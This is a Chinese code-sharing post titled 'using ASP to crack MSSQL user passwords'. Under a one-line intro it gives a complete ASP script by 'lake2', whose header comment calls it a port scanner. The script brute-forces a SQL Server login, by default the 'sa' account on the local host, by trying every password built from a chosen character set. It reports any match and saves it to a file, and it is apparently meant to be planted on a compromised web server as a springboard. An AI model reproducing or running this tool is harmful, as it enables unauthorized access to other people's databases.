用ASP实现MSSQL用户密码破解

429 查看

自己把以下代码保存为ASP文件。当然我还是一如既往的BS那些只改作者名字的家伙。 

复制代码 代码如下:

<% 
'============ ASP Port Scanner by lake2 =================== 
'http://lake2.0x54.org 
'Version: 0.1 
'For SpringBoard 
'========================================================== 
%> 
<style type="text/css"> 
body,td,th {color: #0000FF;font-family: Verdana, Arial, Helvetica, sans-serif;} 
body {background-color: #ffffff;font-size:14px; } 
a:link {color: #0000FF;text-decoration: none;} 
a:visited {text-decoration: none;color: #0000FF;} 
a:hover {text-decoration: none;color: #FF0000;} 
a:active {text-decoration: none;color: #FF0000;} 
.buttom {color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5} 
.TextBox {border: 1px solid #084B8E} 
.styleRed {color: #FF0000} 
</style> 
<title>MSSQL Cracker for SpringBoard</title> 
<% 
Dim Password() 
If Request.Form("go") <> "1" Then 
%> 
 <div align="center">Welcome to <a href="http://lake2.0x54.org" target="_blank">http://lake2.0x54.org</a> </div> 
 <form name="form1" method="post" action="" onSubmit="form1.Submit.disabled=true;"> 
  ConnStr:  
  <input name="conn" type="text" class="TextBox" id="conn" value="Provider=SQLOLEDB.1;Data Source=127.0.0.1;User ID=sa;Password={PASS};" size="70"> 
  <br> 
  Char:      
  <input name="char" type="text" class="TextBox" id="char" value="0123456789" size="30"> 
   <br> 
Length:   
<input name="len" type="text" class="TextBox" id="len" value="3" size="4"> 
<br>  
Path:      
<input name="path" type="text" class="TextBox" value="<%=Server.MapPath("r.txt")%>" size="50"> 
<input name="CFile" type="checkbox" class="TextBox" id="CFile" value="1" checked> 
Enablel<br> 
<input name="go" type="hidden" id="go" value="1"> 
<br> 
<input name="Submit" type="submit" class="buttom" id="Submit" value=" Run "> 
</form> 
<% 
Else 
 timer1 = timer 
 Server.ScriptTimeout = 7776000 
 ConnStr = Request.Form("Conn") 
 Char = request.Form("char") 
 LenChar = Len(Char) 
 ReDim password(LenChar) 
 For i = 1 to LenChar 
  password(i) = Mid(Char, i, 1) 
 Next 
 length = CInt(request.Form("len")) 
 Call LAKE("") 
 response.Write "Done!<br>Process " & tTime & " s" 
 If request.Form("CFile") <> "" Then CreateResult("Done!" & vbcrlf & tTime) 
End If 

Sub LAKE(str) 
 If Len(str) >= length Then Exit Sub 
 For j = 1 to LenChar 
  pass = str & password(j) 
  If Len(pass) = length Then Call Crack(pass) 
  Call LAKE(pass) 
 Next 
End Sub 

Sub Crack(str) 
 On Error Resume Next 
 Set conn = Server.CreateObject("ADODB.connection") 
 conn.open Replace(ConnStr,"{PASS}",str) 
 If Err Then 
  If Err.Number <> -2147217843 Then 
   response.Write(Err.Description & "<BR>") 
   response.End() 
  End If 
 Else 
  response.Write("I Get it ! Password is <font color=red>" & str & "</font><BR>Process " & tTime & " s") 
  If request.Form("CFile") <> "" Then CreateResult(str & vbcrlf & tTime) 
  response.End() 
 End If 
End Sub 

Function tTime() 
 timer2 = timer 
 thetime=cstr(int(timer2-timer1)) 
 tTime = thetime 
End Function 

Sub CreateResult(t) 
 Set fs = CreateObject("Scripting.FileSystemObject")  
 Set outfile = fs.CreateTextFile(request.Form("path")) 
 outfile.WriteLine t 
 Set fs = Nothing 
End Sub 
%>